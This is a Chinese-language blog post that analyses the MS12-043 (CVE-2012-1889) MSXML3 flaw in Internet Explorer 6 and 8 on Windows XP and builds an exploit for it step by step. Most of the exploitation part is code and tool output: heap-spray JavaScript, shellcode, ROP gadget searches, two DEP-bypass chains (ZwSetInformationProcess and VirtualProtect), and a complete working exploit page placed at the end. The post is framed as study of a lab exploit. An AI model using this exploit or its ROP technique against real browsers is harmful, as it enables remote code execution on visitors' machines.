前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MS12-043是个啥?走,咱来波漏洞分析!

MS12-043是个啥?走,咱来波漏洞分析!

原创
作者头像
极安御信安全研究院
发布2022-05-10 18:07:57
4890
发布2022-05-10 18:07:57
举报

MS12-043漏洞分析+手写ROP全流程

这是个练习写ROP的好例子

漏洞介绍

软件简介

Microsoft XML Core Services (MSXML)是一组服务,可用JScript、VBScript、Microsoft开发工具编写的应用构建基于XML的Windows-native应用。

漏洞成因

Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。

该漏洞产生于msxml3.dll模块中,msxml3.dll是微软的一个SAX2 帮助程序类。主要用途包括:XSL 转换 (XSLT) 和 XML 路径语言 (XPath) 的完全实现、对 XML (SAX2) 实现的简单 API 的修改,包括与万维网联合会 (W3C) 标准和 OASIS 测试套件保持更高一致性。

实验环境

•          虚拟机:Windows XP SP3

•          虚拟机:Kali Linux

•          漏洞程序:IE6 + IE8

•          IDA + x86dbg + immdbg mona插件

漏洞复现

kali的msf里查找MS12-043,看有没有现成的利用:

刚好有一个,设置payload:set payload windows/exec,set CMD calc.exe,run

启动了一个本地HTTP Server,这个服务器应该就是提供poc页面了:

使用Windows XP SP3自带的IE6打开,直接弹出计算器:

复现成功,该环境的IE6存在该漏洞,接下来对漏洞样本进行分析

前置基础知识简介

ROP

面向返回编程ROP(Return-oriented programming):这是一种内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行等)。ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

DEP

数据执行保护DEP(Data Execution Protection):用来弥补计算机对数据和代码混淆这一缺陷,主要作用是阻止数据页(堆页,各种堆栈页,内存池页)执行代码,从Windows XP SP2开始支持

DEP的基本原理是将数据所在内存页表示为不可执行页,当程序溢出转入shellcode时,CPU在数据页上执行指令抛出异常,转入异常处理而不进入shellcode执行,当跳转到不可执行区域时,会触发异常0xC0000005(内存页就类似于这种权限PAGE_READWRITE)

HeapSpray

HeapSpray 是一种辅助技术,在shellcode前面加上大量滑板指令,组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。

漏洞分析

漏洞触发POC:

<html>
 <head>
  <title>CVE 2012-1889 PoC</title>
 </head>
 <body>
  //"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"是MSXML3.dll中使用到的ID
  <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
  <script>
  var obj = document.getElementById('poc').object;//获取obj对象,类id为"msxml3",对象id为"poc"
  var src = unescape("%u0c0c%u0c0c"); //0c0c
  while (src.length < 0x1002) src += src; //循环拼接路径
  src = "\\\\xxx" + src; //拼接路径
  src = src.substr(0, 0x1000 - 10); //截断最后10字符
  var pic = document.createElement("img"); //创建图片元素pic
  pic.src = src; //图片元素pic的路径赋值,路径是0xFF6字节的0c0c0c0c,将会溢出栈空间
  pic.nameProp;
  obj.definition(0); //定义并初始化一个空的对象
  </script>
 </body>
 </html>

通过看POC代码可知,这里漏洞的触发是因为解析img标签src属性处理src的值的时候处理不当导致溢出从而产生漏洞

反汇编里往上追溯溢出值的来源,没太明白是怎么回事

具体参考 [原创] CVE-2012-1889 暴雷漏洞详细分析(偏向成因)-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

感觉现阶段还不足以弄明白是怎么一回事,本次主要就当练习写ro

反汇编里往上追溯溢出值的来源,没太明白是怎么回事

具体参考 [原创] CVE-2012-1889 暴雷漏洞详细分析(偏向成因)-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

感觉现阶段还不足以弄明白是怎么一回事,本次主要就当练习写rop了

保存poc为html文件,通过实验环境的IE6打开,程序奔溃,x86dbg接管调试:

在程序异常处发现这里eax的值已经被我们输入的值给覆盖了,也就是说,eax的值可控,来自于栈中,并且之后会从eax里取出地址,然后赋值给ecx,然后call [ecx+0x18],拿到控制权

为了方便测试,在物理机编辑HTML,开启一个http服务器给虚拟机访问:

python -m http.server 8080

这里的一个思路就是通过堆喷覆盖高位地址0x0c0c0c0c,然后触发漏洞,构造内容使得能通过下面那个call得到控制权,这里使用上次分析CVE-2010-2883时候见到的堆喷代码,改一改shellcode:

var shellcode = unescape('%u0c0c%u0c0c'+    // mov ecx, [eax]
                        '%u4141%u4141'+
                        '%u4141%u4141'+
                        '%u4141%u4141'+
                        '%u4141%u4141'+
                        '%u4141%u4141'+
                        '%uaaaa%uaaaa'      // [ecx+0x18]
                        );
var var_C = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (var_C.length + 20 + 8 < 65536) var_C+=var_C; 
var_D = var_C.substring(0, (0x0c0c-0x24)/2);
var_D += shellcode; // 拼接shellcode
var_D += var_C;     // 拼接滑块代码
var_E = var_D.substring(0, 65536/2);
while(var_E.length < 0x80000) var_E += var_E;
var_H = var_E.substring(0, 0x80000 - (0x1020-0x08) / 2); // 7F7F4
var var_F = new Array();
for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";

这个代码就是申请将近1M大小的数组成员的数组,通过堆喷将shellcode精准填充到0x0c0c0c0c位置上,访问链接测试:

可以看到,0x0c0c0c0c已经覆盖了我们编写的shellcode,这里call会跳转到0xAAAAAAAA这个地址上:

到此已经成功拿到控制权了,只要合理构造shellcode即可完成利用,接下来进行ROP的构造

漏洞利用:XP+IE6

ROP的意义在于绕过保护执行shellcode,Windows XP + IE 6环境下默认没有DEP保护,所以可以直接去堆中执行代码

这里需要使用js写shellcode,这里去网上(参考资料[4])白嫖了一个shellcodeC语言转JS语言的代码:

int main(int argc,char* argv[])
{
 
    //mergeSort(a, 0, 5);

    unsigned char buf[] = {
            "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
            "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
            "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
            "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
            "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
            "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
            "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
            "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
            "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
            "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
            "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" };

        int i = 0;
        int n = sizeof(buf) - 1;
        if (n & 1) n--;
        FILE* fp = fopen("shellocde.txt", "w");
        for (i = 0; i < n; i += 2)
        {
            fprintf(fp, "\\u%02X%02X", buf[i + 1], buf[i]);
        }
        n = sizeof(buf) - 1;
        if (n & 1)
        {
            fprintf(fp, "\\u%02X%02X", 0, buf[i]);
        }
        fclose(fp);

    return 0;
}

这里自带的shellcode是0day里面那个failwest的MessageBox,这里也就用这个吧

构造shellcode:
var shellcode = unescape('%u0bf8%u0c0c'+    // mov ecx, [eax] 0x0c0c0bf8
                        '%u0c14%u0c0c'      // [ecx+0x18]
                        );
shellcode+="\u68FC\u0A6A\u1E38\u6368\uD189\u684F\u7432\u0C91\uF48B\u7E8D\u33F4\uB7DB\u2B04\u66E3\u33BB\u5332\u7568\u6573\u5472\uD233\u8B64\u305A\u4B8B\u8B0C\u1C49\u098B\u698B\uAD08\u6A3D\u380A\u751E\u9505\u57FF\u95F8\u8B60\u3C45\u4C8B\u7805\uCD03\u598B\u0320\u33DD\u47FF\u348B\u03BB\u99F5\uBE0F\u3A06\u74C4\uC108\u07CA\uD003\uEB46\u3BF1\u2454\u751C\u8BE4\u2459\uDD03\u8B66\u7B3C\u598B\u031C\u03DD\uBB2C\u5F95\u57AB\u3D61\u0A6A\u1E38\uA975\uDB33\u6853\u6577\u7473\u6668\u6961\u8B6C\u53C4\u5050\uFF53\uFC57\uFF53\uF857";                       

测试:

shellcode成功执行,完成利用

漏洞利用:XP+IE8(1)

本节内容采用ZwSetInformationProcess的方法绕过DEP,写完ROP之后发现还是运行不了,经过搜索得知,IE8调用过该API,该API只有第一次调用有效,所以本节纯属踩坑,可跳过本节“绕过DEP部分”看下一节用其他方法绕过DEP

Windows XP + IE8 开启了DEP,且堆堆喷做出了限制,直接用字符串赋值的方式会被禁止,js代码会执行失败,再次访问这个poc地址,异常后调试会发现0x0c0c0c0c这个地址没有申请出来,不存在

所以需要修改堆喷的代码,将原来的:

for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";

修改为:

for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H.substr(0,var_H.length)+"s";

再次访问刚刚的poc地址:

触发DEP数据执行保护,点击调试进去:

EIP寄存器指向了我们的弹窗shellcode,且此处发生0xC00000005执行访问违例的异常,这也说明了是DEP的影响,导致这里无法执行

所以需要想个办法来绕过DEP保护来执行shellcode,根据之前学习DEP的经验,可以通过跳转到ZwSetInformationProcess函数将进程的DEP关闭后再转入shellcode执行

一个进程的DEP设置的标识保存在_KEPROCESS中的_KEXECUTE_OPTIONS上,可通过ZwSetInformationProcess进行修改,该结构体声明:

//0x1 bytes (sizeof)
struct _KEXECUTE_OPTIONS
{
    UCHAR ExecuteDisable:1;         //0x0 DEP开启时,设置为1
    UCHAR ExecuteEnable:1;          //0x0 DEP关闭时,设置为1
    UCHAR DisableThunkEmulation:1;  //0x0 兼容ATL程序用的
    UCHAR Permanent:1;              //0x0 设置1后,这些标志不能再修改
    UCHAR ExecuteDispatchEnable:1;  //0x0
    UCHAR ImageDispatchEnable:1;    //0x0
    UCHAR Spare:2;                  //0x0
};

影响DEP的是前两位,只要设置该结构体的值为0x02即可关闭DEP

设置函数ZwSetInformationProcess:

NTSYSCALLAPI
NTSTATUS NTAPI ZwSetInformationProcess  (  
    _In_ HANDLE     ProcessHandle,  // 进程句柄,设置为-1时表示当前进程
    _In_ PROCESSINFOCLASS   ProcessInformationClass,    // 信息类
    _In_ PVOID  ProcessInformation,         // 设置_KEXECUTE_OPTIONS
    _In_ ULONG  ProcessInformationLength    // 第三个参数的长度
)  

根据参考资料[6],可知,关闭DEP需要的参数依次是:-1,0x22,0x2,0x4

当一个进程的Permanent位没有设置,加载DLL时,会对DLL进行DEP兼容性检查,如果存在兼容性问题则会关闭DEP,有一个函数LdrpCheckNXCompatibility内部进行兼容性判断,判断兼容性有问题,就会调用ZwSetInformationProcess函数:(使用windbg查看该程序)

0:000> uf ntdll!LdrpCheckNXCompatibility
ntdll!LdrpCheckNXCompatibility:
7c93cd11 8bff            mov     edi,edi
7c93cd13 55              push    ebp
7c93cd14 8bec            mov     ebp,esp
7c93cd16 51              push    ecx
7c93cd17 8365fc00        and     dword ptr [ebp-4],0
7c93cd1b 56              push    esi
7c93cd1c ff7508          push    dword ptr [ebp+8]
7c93cd1f e887ffffff      call    ntdll!LdrpCheckSafeDiscDll (7c93ccab);检查是否是SafeDiskDll
7c93cd24 3c01            cmp     al,1   ; al和1对比,如果检查成功,al会返回1,所以这里要设置为1
7c93cd26 6a02            push    2     
7c93cd28 5e              pop     esi    ; 给esi设置为2
7c93cd29 0f84df290200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e) ; 跳转(见末尾)
 
ntdll!LdrpCheckNXCompatibility+0x1d:
7c93cd2f 837dfc00        cmp     dword ptr [ebp-4],0    ; ebp-4和0对比,判断ebp-4是不是2,如果是2,就会跳转到DEP关闭的流程
7c93cd33 0f85f89a0100    jne     ntdll!LdrpCheckNXCompatibility+0x4d (7c956831); 不相同则跳转,这里会跳转(见下面)
 
...
 
ntdll!LdrpCheckNXCompatibility+0x5c:
7c93cd6d 5e              pop     esi   
7c93cd6e c9              leave
7c93cd6f c20400          ret     4      ; 返回 ret 4
 
ntdll!LdrpCheckNXCompatibility+0x4d:
7c956831 6a04            push    4      ; 4
7c956833 8d45fc          lea     eax,[ebp-4]
7c956836 50              push    eax    ; 2
7c956837 6a22            push    22h    ; 0x22
7c956839 6aff            push    0FFFFFFFFh ; -1
7c95683b e84074fdff      call    ntdll!ZwSetInformationProcess (7c92dc80);刚好是关闭DEP的参数,跳转到这里把DEP关闭了
7c956840 e92865feff      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d); 往回跳转(见上面)
 
ntdll!LdrpCheckNXCompatibility+0x1a:
7c95f70e 8975fc          mov     dword ptr [ebp-4],esi  ; 把esi赋值给[ebp-4]
7c95f711 e919d6fdff      jmp     ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f); 跳转回去

这里可以直接跳转到这个判断处(0x7c93cd24),提前把al设置成1,走al=1的逻辑,这就是关闭DEP的流程

现在要做的事情流程已经很清楚了,就是:

1.        切换ebp到0x0c0c0c0c,控制堆栈

2.        给al赋值为1

3.        跳转到0x7c93cd24处关闭DEP

4.        跳转到shellcode执行

使用msf自带的工具msfpescan协助找跳板

踩坑

这里IE8打开链接的时候会创建子进程,然而每次加载msxml3.dll的基址还不一样,导致这里调试出现了困难,这里需要找一个其他基址不变的模块来寻找跳板

这里由于创建了子进程,直接触发崩溃实时调试器接管不到崩溃前的状态,所以没法从断点一点一点往下看执行和栈,使用x86dbg插件dbgchild也没法在进入rop之前断下来

这里的解决方案是,直接就让他进入后面的异常处理部分,然后修改EIP指针回到漏洞的触发点来跟进shellcode的编写:

因为进入rop之后,包括堆栈和寄存器都是我们自己构造的,所以这里直接修改eip为触发漏洞前的地址,和eax=0x0c0c0c0c,这两个值都是触发漏洞的时候必然等于的,这样来进行调试是没问题的

或者可以把IE8卸载了,装回IE6,再上面写完绕过DEP的ROP再装回IE8测试,这里采用的是先用IE6来写

构造ROP-拿到控制权

首先需要修改栈顶esp到我们构造的内存里头

想找一个pop xxx;pop esp;ret的指令,找了半天没找到

找到了pop esp;ret指令,但是call过去会有返回地址入栈,也没法修复esp

经过一个下午的搜索尝试,发现还有这个指令可用:xchg eax,esp;ret,可以把eax里的0x0c0c0c0c交换给esp,然而还是不行,因为交换过去之后,esp里存放的一定不是能操作的返回地址

mona搜索xchg eax,esp;ret:
Log data, item 21
 Address=75C7BC70
 Message=  0x75c7bc70 : "\x94\xc3" |  {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\urlmon.dll)

再次观察一下这段代码:

整理一下当前的信息:

1.        shellcode中可控内容从0x0c0c0c0c开始,且0x0c0c0c0c之前的内存的值均为0x0c0c0c0c

2.        eax的值是我们可以操纵的

3.        esi的值来自eax

4.        ecx的值来自[eax]

5.        第一个call使用的是[ecx+0x18]的值,也就是说[[eax]+0x18]这个地址是第一个call的地址,此时交换esp会导致无法跳转卡住,直接使用ret可以跳过

6.        第一个call之后会赋值eax = [esi],如果[esi]和esi不相同的话,[esi]是一个保存指令的地址,那么xchg之后ret就可以使用了

7.        第二个call使用的是[eax+8]

综上,可以得出,给eax填充0x0c0c0c08,该地址的值为0x0c0c0c0c,不会影响第一个call所在的0x0c0c0c24,然后在第一个call之后,会给eax赋值0x0c0c0c0c,相比第一个call直接使用xchg,0x0c0c0c0c的值是可修改的了,因为使用了0x0c0c0c08来作为基址计算第一个call的地址,这时再进行xchg就可以拿到控制流了

构造shellcode:

var shellcode = "\u4141\u4242"+ // esp
                "\u9090\u9090"+ //
                "\ubc70\u75c7"+ // call [ecx+0x18] ret
                "\u9090\u9090\u9090\u9090\u9090\u9090"+   // fill
                "\ubc71\u75c7"  // xchg eax,esp;ret
                ;

测试:

此时esp已经是可控的了,接下来就方便构造返回地址了

构造ROP绕过DEP

接下来需要给al赋值1,mov al,1;ret,使用immdbg的mona插件进行搜索:

>!mona find -s "\xB0\x01\xc3" -m "kernel32.dll"
...
Log data, item 14
 Address=7C80C190
 Message=  0x7c80c190 : "\xB0\x01\xc3" |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)

然后接下来就是跳转去0x7c93cd24关闭DEP了:

构造shellcode:

var shellcode = "\uc190\u7c80"+ // mov al,1 ret
                "\ucd24\u7c93"+ // Close DEP 0x7c93cd24
                "\ubc70\u75c7"+ // call [ecx+0x18] ret
                "\u9090\u9090\u9090\u9090\u9090\u9090"+
                "\ubc71\u75c7"  // xchg eax,esp;ret
                ;                       

测试调试:

不行,出问题了,这里leave指令会把ebp给esp,这里还需要先修复一下ebp才行

找一个push esp; pop ebp; ret指令

Log data, item 19
 Address=75CC97D8
 Message=  0x75cc97d8 : "\x54\x5d\xc2" |  {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\urlmon.dll)
 
 Log data, item 3
 Address=76FE67B0
 Message=  0x76fe67b0 : "\x54\x5d\xc2\x08" |  {PAGE_EXECUTE_READ} [CLBCATQ.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v2001.12.4414.700 (C:\WINDOWS\system32\CLBCATQ.DLL)

修复完ebp,然后给al赋值1,关闭DEP,构造shellcode:

var shellcode = "\u97d8\u75cc"+ // repire ebp push esp pop ebp ret 4 0x75CC97D8
                "\uc190\u7c80"+ // mov al,1 ret
                "\ubc70\u75c7"+ // call [ecx+0x18] ret
                "\ucd24\u7c93"+ // CLOSE DEP
                "\u9090\u9090"+
                "\u9090\u9090"+
                "\ubc71\u75c7"  // xchg eax,esp;ret
                ;                       

调试:

可见,调用完成之后,esp位置原有内容被覆盖了,到这里又卡住了,这里ebp在esp上面,导致最后交换ebp和esp的时候,esp的位置靠上,而非靠下,靠下的地址我们好控制,靠上的0x0c0c0c14是没法再控制的,所以需要给ebp一个合适的可控的位置,从而能控制返回地址:

pop ebp,ret:
Log data, item 22
 Address=75C61CD6
 Message=  0x75c61cd6 : "\x5d\xc3" |  {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\urlmon.dll)

这里给ebp一个紧挨着ROP的地方,shellcode构造:

var shellcode = "\u67b0\u76fe"+ // repire ebp push esp pop ebp ret 8 0x76fe67b0
                "\uc190\u7c80"+ // mov al,1 ret
                "\ubc70\u75c7"+ // xchg esp, eax ret
                "\u9090\u9090"+
                "\u1cd6\u75c6"+ // pop ebp ret 0x75C61CD6
                "\u0c28\u0c0c"+ // ebp value
                "\ubc71\u75c7"+ // call [ecx+0x18] ret
                "\ucd24\u7c93"+ // CLOSE DEP
                "\u0c30\u0c0c"  // shellcode address
                ;                        

这里给ebp的地址就是这个地址就是ebp下面一点的位置:

然后接下来跳转到ret里:

接下来紧接着就是关掉DEP的跳转,执行到最后:esp的位置会是ebp+4的地方,也就是0x0c0c0c2C:

往这里填写shellcode的地址就可以直接跳转去执行了,go:

IE6成功通过修改DEP的ROP弹窗,接下来换IE8

IE6的利用移植IE8

更新了IE8之后发现还是不能运行,点开调试发现有些IE6上的地址在IE8上不能用

注意:找滑板指令一定要找系统自带的那种,软件的dll可能会更新,然后地址就变了

接下来搜索相应的功能指令地址替换回去即可

替换xchg esp,eax;ret为kernel32.dll中的地址

Log data, item 18
 Address=7C830E49
 Message=  0x7c830e49 : "\x94\xc3" |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)

替换pop ebp;ret:

Log data, item 5
 Address=77BEBB7C
 Message=  0x77bebb7c : "\x5d\xc3" |  {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\msvcrt.dll)
结论

失败了,经过一番搜索(参考资料[8])得知,这个函数只有第一次调用的时候有效,IE8调用过这个函数,所以这个函数再次调用就无效了,所以用这种方法绕过IE8的DEP失败,接下来使用下一种方法绕DEP

今天就到这里(从早上10点肝到晚上10点告诉我就这???),明天继续,明天看我半天肝出来!

漏洞利用:WindowsXP+IE8(2)

下一个绕过DEP的方法:使用VirtualProtect绕过DEP

函数声明:

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,       // 地址
  [in]  SIZE_T dwSize,          // 大小
  [in]  DWORD  flNewProtect,    // 保护属性,可执行是0x40
  [out] PDWORD lpflOldProtect   // 保存旧的保护属性,需要一个可写的地址即可
);

使用windbg查看:

0:000> uf VirtualProtect
kernel32!VirtualProtect:
7c801ad4 8bff            mov     edi,edi
7c801ad6 55              push    ebp
7c801ad7 8bec            mov     ebp,esp
7c801ad9 ff7514          push    dword ptr [ebp+14h]    ;旧的属性
7c801adc ff7510          push    dword ptr [ebp+10h]    ;修改属性
7c801adf ff750c          push    dword ptr [ebp+0Ch]    ;修改大小
7c801ae2 ff7508          push    dword ptr [ebp+8]      ;修改地址
7c801ae5 6aff            push    0FFFFFFFFh     ;当前进程
7c801ae7 e875ffffff      call    kernel32!VirtualProtectEx (7c801a61)
7c801aec 5d              pop     ebp
7c801aed c21000          ret     10h

只需要在栈里准备好参数之后跳转到0x7c801ad9进行调用即可

刚刚拿到控制流的shellcode:

var shellcode = "\u4141\u4242"+ // esp
                "\u9090\u9090"+
                "\ubc70\u75c7"+ // call [ecx+0x18] ret
                "\u9090\u9090"+
                "\u9090\u9090"+
                "\u9090\u9090"+   // fill
                "\ubc71\u75c7"  // xchg eax,esp;ret
                ;

接下来要做的事情:

1.        把esp放到安全的地方

2.        修复ebp

3.        调用函数

4.        跳转至shellcode执行

还是拿刚刚找到的跳板:

地址

指令

0x77BEBB7C

pop ebp ret

0x770F17A3

ret 8

0x7c830e49

xchg esp, eax

构造shellcode如下:

var shellcode = "\u17a3\u770f"+ // ret 8 770F17A3
                "\ubb7c\u77be"+ // pop ebp ret 0x77BEBB7C
                "\u0e49\u7c83"+ // xchg eax,esp;ret 0x7C830E4a
                "\u9090\u9090"+
                "\u0c20\u0c0c"+   // ebp value
                "\u1ad9\u7c80"+ // VirtualProtect 0x7c801ad9
                "\u0e4a\u7c83"+ // call [ecx+0x18] ret 0x7C830E49
            //  "\u9090\u9090"+ // 异常断程序用的,和上面那一行互换即可
                "\u0c38\u0c0c"+ // Param address
                "\u1000\u0000"+ // Param Size
                "\u0040\u0000"+ // Param Protect 0x40
                "\u0c0c\u0c00"  // Old Protect               
;

首先一个ret 8,跳转到pop ebp ret的同时在栈中跳过xchg esp,ear ret指令的地址

弹出为ebp构造的值,该值位置保存有VirtualProtect需要的参数:

这里参数里的最后一个入栈的就是shellcode首地址了

执行完成之后

直接跳转到shellcode里进行执行,一气呵成,效果展示:

完整利用代码:

vul-analysis-study/MS12-043 at main · kn0sky/vul-analysis-study (github.com)

<html>
 
 <head>
  <title>CVE 2012-1889 PoC</title>
 </head>
 
 <body>
  <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
  <h1>66666</h1>asdasd
  <script>
  //"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"是MSXML3.dll中使用到的ID
  var shellcode = "\u17a3\u770f" + // ret 8 770F17A3
  "\ubb7c\u77be" + // pop ebp ret 0x77BEBB7C
  "\u0e49\u7c83" + // xchg eax,esp;ret 0x7C830E4a 
  "\u9090\u9090" +
  "\u0c20\u0c0c" + // ebp value
  "\u1ad9\u7c80" + // VirtualProtect 0x7c801ad9
  "\u0e4a\u7c83" + // call [ecx+0x18] ret 0x7C830E49
  // "\u9090\u9090"+ 
  "\u0c38\u0c0c" + // Param address
  "\u1000\u0000" + // Param Size
  "\u0040\u0000" + // Param Protect 0x40
  "\u0c0c\u0c00" // Old Protect  
  ;
  shellcode += "\u68FC\u0A6A\u1E38\u6368\uD189\u684F\u7432\u0C91\uF48B\u7E8D\u33F4\uB7DB\u2B04\u66E3\u33BB\u5332\u7568\u6573\u5472\uD233\u8B64\u305A\u4B8B\u8B0C\u1C49\u098B\u698B\uAD08\u6A3D\u380A\u751E\u9505\u57FF\u95F8\u8B60\u3C45\u4C8B\u7805\uCD03\u598B\u0320\u33DD\u47FF\u348B\u03BB\u99F5\uBE0F\u3A06\u74C4\uC108\u07CA\uD003\uEB46\u3BF1\u2454\u751C\u8BE4\u2459\uDD03\u8B66\u7B3C\u598B\u031C\u03DD\uBB2C\u5F95\u57AB\u3D61\u0A6A\u1E38\uA975\uDB33\u6853\u6577\u7473\u6668\u6961\u8B6C\u53C4\u5050\uFF53\uFC57\uFF53\uF857";
  var var_C = unescape("%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c");
  while (var_C.length + 20 + 8 < 65536) var_C += var_C;
  var_D = var_C.substring(0, (0x0c0c - 0x24) / 2);
   var_D += shellcode; // 拼接shellcode
  var_D += var_C; // 拼接滑块代码
  var_E = var_D.substring(0, 65536 / 2);
  while (var_E.length < 0x80000) var_E += var_E;
  var_H = var_E.substring(0, 0x80000 - (0x1020 - 0x08) / 2); // 7F7F4
   var var_F = new Array();
  for (var_G = 0; var_G < 0x1f0; var_G++) var_F[var_G] = var_H.substr(0, var_H.length) + "s";
 
  var obj = document.getElementById('poc').object;//获取obj对象,类id为"msxml3",对象id为"poc"
  var src = unescape("%u0c08%u0c0c"); //0c0c
  while (src.length < 0x1002) src += src; //循环拼接路径
  src = "\\\\xxx" + src; //拼接路径
  src = src.substr(0, 0x1000 - 10); //截断最后10字符
  var pic = document.createElement("img"); //创建图片元素pic
  pic.src = src; //图片元素pic的路径赋值,路径是0xFF6字节的0c0c0c0c,将会溢出栈空间
  pic.nameProp;
  obj.definition(0); //定义并初始化一个空的对象
  </script>
 </body>
 
 </html>

参考资料

•          [1] [原创][分享]CVE-2012-1889(暴雷)漏洞分析报告-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com(https://bbs.pediy.com/thread-263702.htm)

•          [2] Internet Explorer(CVE-2012-1889)暴雷漏洞分析报告【WinXP&IE6版】_capnik的博客-CSDN博客

(https://blog.csdn.net/capnik/article/details/58614449)

•          [3] 【新提醒】暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告 - 『软件调试区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn(https://www.52pojie.cn/thread-730324-1-1.html)

•          [4] ShellCode转换为JavaScript支持的形式代码_蛋蛋的忧桑Y的博客-CSDN博客(https://blog.csdn.net/qq_22000459/article/details/75602013)

•         [5] CVE-2012-1889(暴雷)漏洞分析_余大头的博客-CSDN博客(https://blog.csdn.net/datouyu0824/article/details/115040689)

•          [6] 《0day安全》第二版.DEP保护机制相关内容

•         [7] msfpescan用法_whatday的博客-CSDN博客(https://blog.csdn.net/whatday/article/details/82909485)

•         [8] [求助]zwsetinformationprocess 关闭DEP失败-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com(https://bbs.pediy.com/thread-183175.htm)

•         [9] [原创][分享] CVE-2012-1889 暴雷漏洞详细分析(偏向成因)-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com(https://bbs.pediy.com/thread-263717.htm)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • MS12-043漏洞分析+手写ROP全流程
    • 漏洞介绍
      • 软件简介
      • 漏洞成因
    • 实验环境
      • 漏洞复现
        • 前置基础知识简介
          • ROP
          • DEP
          • HeapSpray
        • 漏洞分析
          • 漏洞利用:XP+IE6
          • 漏洞利用:XP+IE8(1)
          • 漏洞利用:WindowsXP+IE8(2)
        • 完整利用代码:
          • 参考资料
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档